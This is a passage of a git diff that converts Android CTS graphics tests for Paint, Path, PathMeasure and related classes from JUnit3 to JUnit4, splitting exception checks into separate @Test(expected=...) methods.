         assertFalse(path.isEmpty());
-
-        try {
-            p.getTextPath(chars, -2, 7, 0, 0, path);
-            fail("Should throw an exception here");
-        } catch (RuntimeException e) {
-        }
-
-        try {
-            p.getTextPath(chars, 0, -3, 0, 0, path);
-            fail("Should throw an exception here");
-        } catch (RuntimeException e) {
-        }
-
-        try {
-            p.getTextPath(chars, 3, 7, 0, 0, path);
-            fail("Should throw an exception here");
-        } catch (RuntimeException e) {
-        }
-
     }
 
-    public void testGetTextPath2() {
-        Paint p = new Paint();
-        String string = "HIJKLMN";
+    @Test(expected=RuntimeException.class)
+    public void testGetTextPathCharArrayNegativeIndex() {
+        new Paint().getTextPath(new char[] {'H', 'I', 'J', 'K', 'L', 'M', 'N'}, -2, 7, 0, 0,
+                new Path());
+    }
+
+    @Test(expected=RuntimeException.class)
+    public void testGetTextPathCharArrayNegativeCount() {
+        new Paint().getTextPath(new char[] {'H', 'I', 'J', 'K', 'L', 'M', 'N'}, 0, -3, 0, 0,
+                new Path());
+    }
+
+    @Test(expected=RuntimeException.class)
+    public void testGetTextPathCharArrayCountTooHigh() {
+        new Paint().getTextPath(new char[] {'H', 'I', 'J', 'K', 'L', 'M', 'N'}, 3, 7, 0, 0,
+                new Path());
+    }
+
+    @Test
+    public void testGetTextPathString() {
         Path path = new Path();
 
         assertTrue(path.isEmpty());
-        p.getTextPath(string, 0, 7, 0, 0, path);
+        new Paint().getTextPath("HIJKLMN", 0, 7, 0, 0, path);
         assertFalse(path.isEmpty());
-
-        try {
-            p.getTextPath(string, -2, 7, 0, 0, path);
-            fail("Should throw an exception here");
-        } catch (RuntimeException e) {
-        }
-
-        try {
-            p.getTextPath(string, 0, -3, 0, 0, path);
-            fail("Should throw an exception here");
-        } catch (RuntimeException e) {
-        }
-
-        try {
-            p.getTextPath(string, 7, 3, 0, 0, path);
-            fail("Should throw an exception here");
-        } catch (RuntimeException e) {
-        }
-
-        try {
-            p.getTextPath(string, 3, 9, 0, 0, path);
-            fail("Should throw an exception here");
-        } catch (RuntimeException e) {
-        }
     }
 
+    @Test(expected=RuntimeException.class)
+    public void testGetTextPathStringNegativeIndex() {
+        new Paint().getTextPath("HIJKLMN", -2, 7, 0, 0, new Path());
+    }
+
+    @Test(expected=RuntimeException.class)
+    public void testGetTextPathStringNegativeCount() {
+        new Paint().getTextPath("HIJKLMN", 0, -3, 0, 0, new Path());
+    }
+
+    @Test(expected=RuntimeException.class)
+    public void testGetTextPathStringStartTooHigh() {
+        new Paint().getTextPath("HIJKLMN", 7, 3, 0, 0, new Path());
+    }
+
+    @Test(expected=RuntimeException.class)
+    public void testGetTextPathStringCountTooHigh() {
+        new Paint().getTextPath("HIJKLMN", 3, 9, 0, 0, new Path());
+    }
+
+    @Test
     public void testHasGlyph() {
         Paint p = new Paint();
 
@@ -1183,9 +1268,9 @@
         // whether VS is present or not.
         assertTrue(p.hasGlyph("\uD83D\uDC69\u200D\u2695") ==  // WOMAN, ZWJ, STAFF OF AESCULAPIUS
                 p.hasGlyph("\uD83D\uDC69\u200D\u2695\uFE0F"));  // above + VS16
-
     }
 
+    @Test
     public void testGetRunAdvance() {
         Paint p = new Paint();
         {
@@ -1194,13 +1279,13 @@
             {
                 final float width = p.getRunAdvance(string, 0, string.length(), 0,
                         string.length(), false, 0);
-                assertEquals(0.0f, width);
+                assertEquals(0.0f, width, 0.0f);
             }
             {
                 for (int i = 0; i < string.length(); i++) {
                     final float width = p.getRunAdvance(string, i, i + 1, 0, string.length(),
                             false, i);
-                    assertEquals(0.0f, width);
+                    assertEquals(0.0f, width, 0.0f);
                 }
             }
             {
@@ -1234,13 +1319,13 @@
             {
                 final float width = p.getRunAdvance(string, 0, string.length(), 0,
                         string.length(), true, 0);
-                assertEquals(0.0f, width);
+                assertEquals(0.0f, width, 0.0f);
             }
             {
                 for (int i = 0; i < string.length(); i++) {
                     final float width = p.getRunAdvance(string, i, i + 1, 0, string.length(),
                             true, i);
-                    assertEquals(0.0f, width);
+                    assertEquals(0.0f, width, 0.0f);
                 }
             }
             {
@@ -1261,78 +1346,67 @@
         }
     }
 
-    public void testGetRunAdvance_invalidArguments() {
-        Paint p = new Paint();
-        try {
-            p.getRunAdvance((CharSequence)null, 0, 0, 0, 0, false, 0);
-            fail("Should throw an IllegalArgumentException.");
-        } catch (IllegalArgumentException e) {
-        } catch (Exception e) {
-            fail("Should throw an IllegalArgumentException.");
-        }
-
-        try {
-            p.getRunAdvance((char[])null, 0, 0, 0, 0, false, 0);
-            fail("Should throw an IllegalArgumentException.");
-        } catch (IllegalArgumentException e) {
-        } catch (Exception e) {
-            fail("Should throw an IllegalArgumentException.");
-        }
-
-        final String string = "abcde";
-
-        try {
-            // text length < context end
-            p.getRunAdvance(string, 0, string.length(), 0, string.length() + 1, false,
-                    string.length());
-            fail("Should throw an IndexOutOfBoundsException.");
-        } catch (IndexOutOfBoundsException e) {
-        } catch (Exception e) {
-            fail("Should throw an IndexOutOfBoundsException.");
-        }
-        try {
-            // context end < end
-            p.getRunAdvance(string, 0, string.length(), 0, string.length() - 1, false, 0);
-            fail("Should throw an IndexOutOfBoundsException.");
-        } catch (IndexOutOfBoundsException e) {
-        } catch (Exception e) {
-            fail("Should throw an IndexOutOfBoundsException.");
-        }
-        try {
-            // end < offset
-            p.getRunAdvance(string, 0, string.length() - 1, 0, string.length() - 1, false,
-                    string.length());
-            fail("Should throw an IndexOutOfBoundsException.");
-        } catch (IndexOutOfBoundsException e) {
-        } catch (Exception e) {
-            fail("Should throw an IndexOutOfBoundsException.");
-        }
-        try {
-            // offset < start
-            p.getRunAdvance(string, 1, string.length(), 1, string.length(), false, 0);
-            fail("Should throw an IndexOutOfBoundsException.");
-        } catch (IndexOutOfBoundsException e) {
-        } catch (Exception e) {
-            fail("Should throw an IndexOutOfBoundsException.");
-        }
-        try {
-            // start < context start
-            p.getRunAdvance(string, 0, string.length(), 1, string.length(), false, 1);
-            fail("Should throw an IndexOutOfBoundsException.");
-        } catch (IndexOutOfBoundsException e) {
-        } catch (Exception e) {
-            fail("Should throw an IndexOutOfBoundsException.");
-        }
-        try {
-            // context start < 0
-            p.getRunAdvance(string, 0, string.length(), -1, string.length(), false, 0);
-            fail("Should throw an IndexOutOfBoundsException.");
-        } catch (IndexOutOfBoundsException e) {
-        } catch (Exception e) {
-            fail("Should throw an IndexOutOfBoundsException.");
-        }
+    @Test(expected=IllegalArgumentException.class)
+    public void testGetRunAdvanceNullCharSequence() {
+        new Paint().getRunAdvance((CharSequence) null, 0, 0, 0, 0, false, 0);
     }
 
+    @Test(expected=IllegalArgumentException.class)
+    public void testGetRunAdvanceNullCharArray() {
+        new Paint().getRunAdvance((char[]) null, 0, 0, 0, 0, false, 0);
+    }
+
+    @Test(expected=IndexOutOfBoundsException.class)
+    public void testGetRunAdvanceTextLengthLessThenContextEnd() {
+        final String string = "abcde";
+
+        // text length < context end
+        new Paint().getRunAdvance(string, 0, string.length(), 0, string.length() + 1, false,
+                string.length());
+    }
+
+    @Test(expected=IndexOutOfBoundsException.class)
+    public void testGetRunAdvanceContextEndLessThanEnd() {
+        final String string = "abcde";
+
+        // context end < end
+        new Paint().getRunAdvance(string, 0, string.length(), 0, string.length() - 1, false, 0);
+    }
+
+    @Test(expected=IndexOutOfBoundsException.class)
+    public void testGetRunAdvanceEndLessThanOffset() {
+        final String string = "abcde";
+
+        // end < offset
+        new Paint().getRunAdvance(string, 0, string.length() - 1, 0, string.length() - 1, false,
+                string.length());
+    }
+
+    @Test(expected=IndexOutOfBoundsException.class)
+    public void testGetRunAdvanceOffsetLessThanStart() {
+        final String string = "abcde";
+
+        // offset < start
+        new Paint().getRunAdvance(string, 1, string.length(), 1, string.length(), false, 0);
+    }
+
+    @Test(expected=IndexOutOfBoundsException.class)
+    public void testGetRunAdvanceStartLessThanContextStart() {
+        final String string = "abcde";
+
+        // start < context start
+        new Paint().getRunAdvance(string, 0, string.length(), 1, string.length(), false, 1);
+    }
+
+    @Test(expected=IndexOutOfBoundsException.class)
+    public void testGetRunAdvanceContextStartNegative() {
+        final String string = "abcde";
+
+        // context start < 0
+        new Paint().getRunAdvance(string, 0, string.length(), -1, string.length(), false, 0);
+    }
+
+    @Test
     public void testGetRunAdvance_nonzeroIndex() {
         Paint p = new Paint();
         final String text = "Android powers hundreds of millions of mobile " +
@@ -1349,6 +1423,7 @@
         assertTrue(Math.abs(widthAndroidFirst - widthAndroidSecond) < 1);
     }
 
+    @Test
     public void testGetRunAdvance_glyphDependingContext() {
         Paint p = new Paint();
         // Test the context change the character shape.
@@ -1359,6 +1434,7 @@
         assertTrue(isolatedFormWidth > initialFormWidth);
     }
 
+    @Test
     public void testGetRunAdvance_arabic() {
         Paint p = new Paint();
         // Test total width is equals to sum of each character's width.
@@ -1378,6 +1454,7 @@
         assertTrue(Math.abs(totalWidth - sumOfCharactersWidth) < 1);
     }
 
+    @Test
     public void testGetOffsetForAdvance() {
         Paint p = new Paint();
         {
@@ -1432,72 +1509,62 @@
         }
     }
 
-    public void testGetOffsetForAdvance_invalidArguments() {
-        Paint p = new Paint();
-        try {
-            p.getOffsetForAdvance((CharSequence)null, 0, 0, 0, 0, false, 0.0f);
-            fail("Should throw an IllegalArgumentException.");
-        } catch (IllegalArgumentException e) {
-        } catch (Exception e) {
-            fail("Should throw an IllegalArgumentException.");
-        }
-        try {
-            p.getOffsetForAdvance((char[])null, 0, 0, 0, 0, false, 0.0f);
-            fail("Should throw an IllegalArgumentException.");
-        } catch (IllegalArgumentException e) {
-        } catch (Exception e) {
-            fail("Should throw an IllegalArgumentException.");
-        }
-
-        final String string = "abcde";
-
-        try {
-            // context start < 0
-            p.getOffsetForAdvance(string, -1, string.length(), 0, string.length(), false, 0.0f);
-            fail("Should throw an IndexOutOfBoundsException.");
-        } catch (IndexOutOfBoundsException e) {
-        } catch (Exception e) {
-            fail("Should throw an IndexOutOfBoundsException.");
-        }
-
-        try {
-            // start < context start
-            p.getOffsetForAdvance(string, 0, string.length(), 1, string.length(), false, 0.0f);
-            fail("Should throw an IndexOutOfBoundsException.");
-        } catch (IndexOutOfBoundsException e) {
-        } catch (Exception e) {
-            fail("Should throw an IndexOutOfBoundsException.");
-        }
-
-        try {
-            // end < start
-            p.getOffsetForAdvance(string, 1, 0, 0, 0, false, 0);
-            fail("Should throw an IndexOutOfBoundsException.");
-        } catch (IndexOutOfBoundsException e) {
-        } catch (Exception e) {
-            fail("Should throw an IndexOutOfBoundsException.");
-        }
-
-        try {
-            // context end < end
-            p.getOffsetForAdvance(string, 0, string.length(), 0, string.length() - 1, false, 0.0f);
-            fail("Should throw an IndexOutOfBoundsException.");
-        } catch (IndexOutOfBoundsException e) {
-        } catch (Exception e) {
-            fail("Should throw an IndexOutOfBoundsException.");
-        }
-
-        try {
-            // text length < context end
-            p.getOffsetForAdvance(string, 0, string.length(), 0, string.length() + 1, false, 0.0f);
-            fail("Should throw an IndexOutOfBoundsException.");
-        } catch (IndexOutOfBoundsException e) {
-        } catch (Exception e) {
-            fail("Should throw an IndexOutOfBoundsException.");
-        }
+    @Test(expected=IllegalArgumentException.class)
+    public void testGetOffsetForAdvanceNullCharSequence() {
+        new Paint().getOffsetForAdvance((CharSequence) null, 0, 0, 0, 0, false, 0.0f);
     }
 
-    public void testGetOffsetForAdvance_grahpemeCluster() {
+    @Test(expected=IllegalArgumentException.class)
+    public void testGetOffsetForAdvanceNullCharArray() {
+        new Paint().getOffsetForAdvance((char[]) null, 0, 0, 0, 0, false, 0.0f);
+    }
+
+    @Test(expected=IndexOutOfBoundsException.class)
+    public void testGetOffsetForAdvanceContextStartNegative() {
+        final String string = "abcde";
+
+        // context start < 0
+        new Paint().getOffsetForAdvance(string, -1, string.length(), 0, string.length(), false,
+                0.0f);
+    }
+
+    @Test(expected=IndexOutOfBoundsException.class)
+    public void testGetOffsetForAdvanceStartLessThanContextStart() {
+        final String string = "abcde";
+
+        // start < context start
+        new Paint().getOffsetForAdvance(string, 0, string.length(), 1, string.length(), false,
+                0.0f);
+    }
+
+    @Test(expected=IndexOutOfBoundsException.class)
+    public void testGetOffsetForAdvanceEndLessThanStart() {
+        final String string = "abcde";
+
+        // end < start
+        new Paint().getOffsetForAdvance(string, 1, 0, 0, 0, false, 0);
+    }
+
+    @Test(expected=IndexOutOfBoundsException.class)
+    public void testGetOffsetForAdvanceContextEndLessThanEnd() {
+        final String string = "abcde";
+
+        // context end < end
+        new Paint().getOffsetForAdvance(string, 0, string.length(), 0, string.length() - 1, false,
+                0.0f);
+    }
+
+    @Test(expected=IndexOutOfBoundsException.class)
+    public void testGetOffsetForAdvanceTextLengthLessThanContextEnd() {
+        final String string = "abcde";
+
+        // text length < context end
+        new Paint().getOffsetForAdvance(string, 0, string.length(), 0, string.length() + 1, false,
+                0.0f);
+    }
+
+    @Test
+    public void testGetOffsetForAdvance_graphemeCluster() {
         Paint p = new Paint();
         {
             String string = "\uD83C\uDF37"; // U+1F337: TULIP
@@ -1555,4 +1622,24 @@
             }
         }
     }
+
+    @Test
+    public void testElegantText() {
+        final Paint p = new Paint();
+        p.setTextSize(10);
+        assertFalse(p.isElegantTextHeight());
+        final float nonElegantTop = p.getFontMetrics().top;
+        final float nonElegantBottom = p.getFontMetrics().bottom;
+
+        p.setElegantTextHeight(true);
+        assertTrue(p.isElegantTextHeight());
+        final float elegantTop = p.getFontMetrics().top;
+        final float elegantBottom = p.getFontMetrics().bottom;
+
+        assertTrue(elegantTop < nonElegantTop);
+        assertTrue(elegantBottom > nonElegantBottom);
+
+        p.setElegantTextHeight(false);
+        assertFalse(p.isElegantTextHeight());
+    }
 }
diff --git a/tests/tests/graphics/src/android/graphics/cts/Paint_AlignTest.java b/tests/tests/graphics/src/android/graphics/cts/Paint_AlignTest.java
index ff07f45..08fb649 100644
--- a/tests/tests/graphics/src/android/graphics/cts/Paint_AlignTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/Paint_AlignTest.java
@@ -16,18 +16,27 @@
 
 package android.graphics.cts;
 
-import junit.framework.TestCase;
-import android.graphics.Paint.Align;
+import static org.junit.Assert.assertEquals;
+
 import android.graphics.Paint;
+import android.graphics.Paint.Align;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 
-public class Paint_AlignTest extends TestCase {
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class Paint_AlignTest {
+    @Test
     public void testValueOf() {
         assertEquals(Align.LEFT, Align.valueOf("LEFT"));
         assertEquals(Align.CENTER, Align.valueOf("CENTER"));
         assertEquals(Align.RIGHT, Align.valueOf("RIGHT"));
     }
 
+    @Test
     public void testValues() {
         // set the actual value
         Align[] actual = Align.values();
diff --git a/tests/tests/graphics/src/android/graphics/cts/Paint_CapTest.java b/tests/tests/graphics/src/android/graphics/cts/Paint_CapTest.java
index 1c9fe33..b16cf0d 100644
--- a/tests/tests/graphics/src/android/graphics/cts/Paint_CapTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/Paint_CapTest.java
@@ -16,19 +16,27 @@
 
 package android.graphics.cts;
 
-import junit.framework.TestCase;
+import static org.junit.Assert.assertEquals;
+
 import android.graphics.Paint;
 import android.graphics.Paint.Cap;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 
-public class Paint_CapTest extends TestCase {
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class Paint_CapTest {
+    @Test
     public void testValueOf() {
-
         assertEquals(Cap.BUTT, Cap.valueOf("BUTT"));
         assertEquals(Cap.ROUND, Cap.valueOf("ROUND"));
         assertEquals(Cap.SQUARE, Cap.valueOf("SQUARE"));
     }
 
+    @Test
     public void testValues() {
         // set the actual value
         Cap[] actual = Cap.values();
diff --git a/tests/tests/graphics/src/android/graphics/cts/Paint_FontMetricsIntTest.java b/tests/tests/graphics/src/android/graphics/cts/Paint_FontMetricsIntTest.java
index 1b01ecd..56cabe1 100644
--- a/tests/tests/graphics/src/android/graphics/cts/Paint_FontMetricsIntTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/Paint_FontMetricsIntTest.java
@@ -16,17 +16,25 @@
 
 package android.graphics.cts;
 
-import junit.framework.TestCase;
+import static org.junit.Assert.assertNotNull;
+
 import android.graphics.Paint;
 import android.graphics.Paint.FontMetricsInt;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 
-public class Paint_FontMetricsIntTest extends TestCase {
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class Paint_FontMetricsIntTest {
+    @Test
     public void testConstructor() {
-        // new the FontMetricsInt instance
         new Paint.FontMetricsInt();
     }
 
+    @Test
     public void testToString() {
         // set the expected value
         int top = 1;
diff --git a/tests/tests/graphics/src/android/graphics/cts/Paint_JoinTest.java b/tests/tests/graphics/src/android/graphics/cts/Paint_JoinTest.java
index 0e264f1..c203794 100644
--- a/tests/tests/graphics/src/android/graphics/cts/Paint_JoinTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/Paint_JoinTest.java
@@ -16,18 +16,27 @@
 
 package android.graphics.cts;
 
-import junit.framework.TestCase;
-import android.graphics.Paint.Join;
+import static org.junit.Assert.assertEquals;
+
 import android.graphics.Paint;
+import android.graphics.Paint.Join;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 
-public class Paint_JoinTest extends TestCase {
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class Paint_JoinTest {
+    @Test
     public void testValueOf() {
         assertEquals(Join.BEVEL, Join.valueOf("BEVEL"));
         assertEquals(Join.MITER, Join.valueOf("MITER"));
         assertEquals(Join.ROUND, Join.valueOf("ROUND"));
     }
 
+    @Test
     public void testValues() {
         // set the actual value
         Join[] actual = Join.values();
diff --git a/tests/tests/graphics/src/android/graphics/cts/Paint_StyleTest.java b/tests/tests/graphics/src/android/graphics/cts/Paint_StyleTest.java
index d43693f..0752898 100644
--- a/tests/tests/graphics/src/android/graphics/cts/Paint_StyleTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/Paint_StyleTest.java
@@ -16,18 +16,27 @@
 
 package android.graphics.cts;
 
-import junit.framework.TestCase;
+import static org.junit.Assert.assertEquals;
+
 import android.graphics.Paint;
 import android.graphics.Paint.Style;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 
-public class Paint_StyleTest extends TestCase {
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class Paint_StyleTest {
+    @Test
     public void testValueOf() {
         assertEquals(Style.FILL, Style.valueOf("FILL"));
         assertEquals(Style.STROKE, Style.valueOf("STROKE"));
         assertEquals(Style.FILL_AND_STROKE, Style.valueOf("FILL_AND_STROKE"));
     }
 
+    @Test
     public void testValues() {
         // set the actual value
         Style[] actual = Style.values();
diff --git a/tests/tests/graphics/src/android/graphics/cts/PathDashPathEffectTest.java b/tests/tests/graphics/src/android/graphics/cts/PathDashPathEffectTest.java
index 71e42d2..9cc9c7e 100644
--- a/tests/tests/graphics/src/android/graphics/cts/PathDashPathEffectTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/PathDashPathEffectTest.java
@@ -16,26 +16,32 @@
 
 package android.graphics.cts;
 
+import static org.junit.Assert.assertEquals;
 
 import android.graphics.Bitmap;
+import android.graphics.Bitmap.Config;
 import android.graphics.Canvas;
 import android.graphics.Color;
 import android.graphics.Paint;
 import android.graphics.Path;
+import android.graphics.Path.Direction;
 import android.graphics.PathDashPathEffect;
 import android.graphics.RectF;
-import android.graphics.Bitmap.Config;
-import android.graphics.Path.Direction;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 
-import junit.framework.TestCase;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
-public class PathDashPathEffectTest extends TestCase {
-
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class PathDashPathEffectTest {
     private static final int SQUARE = 10;
     private static final int ADVANCE = 30;
     private static final int WIDTH = 100;
     private static final int HEIGHT = 100;
 
+    @Test
     public void testPathDashPathEffect() {
         Bitmap b = Bitmap.createBitmap(WIDTH, HEIGHT, Config.ARGB_8888);
         b.eraseColor(Color.BLACK);
diff --git a/tests/tests/graphics/src/android/graphics/cts/PathDashPathEffect_StyleTest.java b/tests/tests/graphics/src/android/graphics/cts/PathDashPathEffect_StyleTest.java
index 93de1ee..d4e95e0 100644
--- a/tests/tests/graphics/src/android/graphics/cts/PathDashPathEffect_StyleTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/PathDashPathEffect_StyleTest.java
@@ -16,13 +16,19 @@
 
 package android.graphics.cts;
 
-import android.graphics.PathDashPathEffect;
+import static org.junit.Assert.assertEquals;
+
 import android.graphics.PathDashPathEffect.Style;
-import android.test.AndroidTestCase;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 
-public class PathDashPathEffect_StyleTest extends AndroidTestCase {
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
-
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class PathDashPathEffect_StyleTest {
+    @Test
     public void testValueOf() {
         assertEquals(Style.TRANSLATE, Style.valueOf("TRANSLATE"));
         assertEquals(Style.ROTATE, Style.valueOf("ROTATE"));
@@ -30,17 +36,17 @@
         // Every Style element will be tested somewhere else.
     }
 
+    @Test
     public void testValues() {
         // set the expected value
         Style[] expected = {
                 Style.TRANSLATE,
                 Style.ROTATE,
-                Style.MORPH};
+                Style.MORPH };
         Style[] actual = Style.values();
         assertEquals(expected.length, actual.length);
         for (int i = 0; i < actual.length; i ++) {
             assertEquals(expected[i], actual[i]);
         }
     }
-
 }
diff --git a/tests/tests/graphics/src/android/graphics/cts/PathEffectTest.java b/tests/tests/graphics/src/android/graphics/cts/PathEffectTest.java
index 28136c3..d7f313b 100644
--- a/tests/tests/graphics/src/android/graphics/cts/PathEffectTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/PathEffectTest.java
@@ -17,12 +17,17 @@
 package android.graphics.cts;
 
 import android.graphics.PathEffect;
-import android.test.AndroidTestCase;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 
-public class PathEffectTest extends AndroidTestCase {
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class PathEffectTest {
+    @Test
     public void testConstructor() {
         new PathEffect();
     }
-
 }
diff --git a/tests/tests/graphics/src/android/graphics/cts/PathMeasureTest.java b/tests/tests/graphics/src/android/graphics/cts/PathMeasureTest.java
index 8e1fca0..3b0846f 100644
--- a/tests/tests/graphics/src/android/graphics/cts/PathMeasureTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/PathMeasureTest.java
@@ -16,25 +16,34 @@
 
 package android.graphics.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
 
 import android.graphics.Matrix;
 import android.graphics.Path;
-import android.graphics.PathMeasure;
 import android.graphics.Path.Direction;
-import android.test.AndroidTestCase;
+import android.graphics.PathMeasure;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 
-public class PathMeasureTest extends AndroidTestCase {
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class PathMeasureTest {
     private PathMeasure mPathMeasure;
     private Path mPath;
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
+    @Before
+    public void setup() {
         mPath = new Path();
         mPathMeasure = new PathMeasure();
-
     }
 
+    @Test
     public void testConstructor() {
         mPathMeasure = new PathMeasure();
 
@@ -46,16 +55,18 @@
         mPathMeasure = new PathMeasure(path, false);
     }
 
-    public void testGetPosTan() {
+    @Test(expected=ArrayIndexOutOfBoundsException.class)
+    public void testGetPosTanArraysTooSmall() {
         float distance = 1f;
         float[] pos = { 1f };
         float[] tan = { 1f };
-        try {
-            mPathMeasure.getPosTan(distance, pos, tan);
-            fail("should throw exception");
-        } catch (ArrayIndexOutOfBoundsException e) {
-            // expected
-        }
+
+        mPathMeasure.getPosTan(distance, pos, tan);
+    }
+
+    @Test
+    public void testGetPosTan() {
+        float distance = 1f;
         float[] pos2 = { 1f, 2f };
         float[] tan2 = { 1f, 3f };
         assertFalse(mPathMeasure.getPosTan(distance, pos2, tan2));
@@ -68,6 +79,7 @@
         assertTrue(mPathMeasure.getPosTan(0f, pos3, tan3));
     }
 
+    @Test
     public void testNextContour() {
         assertFalse(mPathMeasure.nextContour());
         mPath.addRect(1, 2, 3, 4, Path.Direction.CW);
@@ -75,13 +87,15 @@
         assertTrue(mPathMeasure.nextContour());
     }
 
+    @Test
     public void testGetLength() {
-        assertEquals(0f, mPathMeasure.getLength());
+        assertEquals(0f, mPathMeasure.getLength(), 0.0f);
         mPath.addRect(1, 2, 3, 4, Path.Direction.CW);
         mPathMeasure.setPath(mPath, true);
-        assertEquals(8.0f, mPathMeasure.getLength());
+        assertEquals(8.0f, mPathMeasure.getLength(), 0.0f);
     }
 
+    @Test
     public void testIsClosed() {
         Path circle = new Path();
         circle.addCircle(0, 0, 1, Direction.CW);
@@ -100,21 +114,24 @@
         assertTrue(measure.isClosed());
     }
 
+    @Test
     public void testSetPath() {
         mPathMeasure.setPath(mPath, true);
-        //There is no getter and we can't obtain any status about it.
+        // There is no getter and we can't obtain any status about it.
     }
 
+    @Test
     public void testGetSegment() {
-        assertEquals(0f, mPathMeasure.getLength());
+        assertEquals(0f, mPathMeasure.getLength(), 0.0f);
         mPath.addRect(1, 2, 3, 4, Path.Direction.CW);
         mPathMeasure.setPath(mPath, true);
-        assertEquals(8f, mPathMeasure.getLength());
+        assertEquals(8f, mPathMeasure.getLength(), 0.0f);
         Path dst = new Path();
         assertTrue(mPathMeasure.getSegment(0, mPathMeasure.getLength(), dst, true));
         assertFalse(mPathMeasure.getSegment(mPathMeasure.getLength(), 0, dst, true));
     }
 
+    @Test
     public void testGetMatrix() {
         Matrix matrix = new Matrix();
         assertFalse(mPathMeasure.getMatrix(1f, matrix, PathMeasure.POSITION_MATRIX_FLAG));
diff --git a/tests/tests/graphics/src/android/graphics/cts/PathTest.java b/tests/tests/graphics/src/android/graphics/cts/PathTest.java
index 5958a84..afe1f34 100644
--- a/tests/tests/graphics/src/android/graphics/cts/PathTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/PathTest.java
@@ -16,7 +16,10 @@
 
 package android.graphics.cts;
 
-import junit.framework.TestCase;
+import static org.junit.Assert.assertArrayEquals;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
 
 import android.graphics.Bitmap;
 import android.graphics.Canvas;
@@ -25,8 +28,15 @@
 import android.graphics.Paint;
 import android.graphics.Path;
 import android.graphics.RectF;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 
-public class PathTest extends TestCase {
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class PathTest {
 
     // Test constants
     private static final float LEFT = 10.0f;
@@ -36,6 +46,7 @@
     private static final float XCOORD = 40.0f;
     private static final float YCOORD = 40.0f;
 
+    @Test
     public void testConstructor() {
         // new the Path instance
         new Path();
@@ -44,9 +55,8 @@
         new Path(new Path());
     }
 
+    @Test
     public void testAddRect1() {
-
-        // new the Path instance
         Path path = new Path();
         assertTrue(path.isEmpty());
         RectF rect = new RectF(LEFT, TOP, RIGHT, BOTTOM);
@@ -54,50 +64,51 @@
         assertFalse(path.isEmpty());
     }
 
+    @Test
     public void testAddRect2() {
-
-        // new the Path instance
         Path path = new Path();
         assertTrue(path.isEmpty());
         path.addRect(LEFT, TOP, RIGHT, BOTTOM, Path.Direction.CW);
         assertFalse(path.isEmpty());
     }
 
+    @Test
     public void testMoveTo() {
-        // new the Path instance
         Path path = new Path();
         path.moveTo(10.0f, 10.0f);
     }
 
+    @Test
     public void testSet() {
-        // new the Path instance
         Path path = new Path();
         assertTrue(path.isEmpty());
         Path path1 = new Path();
-        setPath(path1);
+        addRectToPath(path1);
         path.set(path1);
-        assertPathsAreEquivalent(path, path1);
+        verifyPathsAreEquivalent(path, path1);
     }
 
+    @Test
     public void testSetCleanOld() {
         Path path = new Path();
-        setPath(path);
+        addRectToPath(path);
         path.addRect(new RectF(0, 0, 10, 10), Path.Direction.CW);
         Path path1 = new Path();
         path1.addRect(new RectF(10, 10, 20, 20), Path.Direction.CW);
         path.set(path1);
-        assertPathsAreEquivalent(path, path1);
+        verifyPathsAreEquivalent(path, path1);
     }
 
+    @Test
     public void testSetEmptyPath() {
-        // new the Path instance
         Path path = new Path();
-        setPath(path);
+        addRectToPath(path);
         Path path1 = new Path();
         path.set(path1);
-        assertPathsAreEquivalent(path, path1);
+        verifyPathsAreEquivalent(path, path1);
     }
 
+    @Test
     public void testAccessFillType() {
         // set the expected value
         Path.FillType expected1 = Path.FillType.EVEN_ODD;
@@ -118,52 +129,49 @@
         assertEquals(expected4, path.getFillType());
     }
 
+    @Test
     public void testRQuadTo() {
-        // new the Path instance
         Path path = new Path();
         assertTrue(path.isEmpty());
         path.rQuadTo(5.0f, 5.0f, 10.0f, 10.0f);
         assertFalse(path.isEmpty());
     }
 
+    @Test
     public void testTransform1() {
-        // new the Path instance
         Path path = new Path();
         assertTrue(path.isEmpty());
         Path dst = new Path();
-        setPath(path);
+        addRectToPath(path);
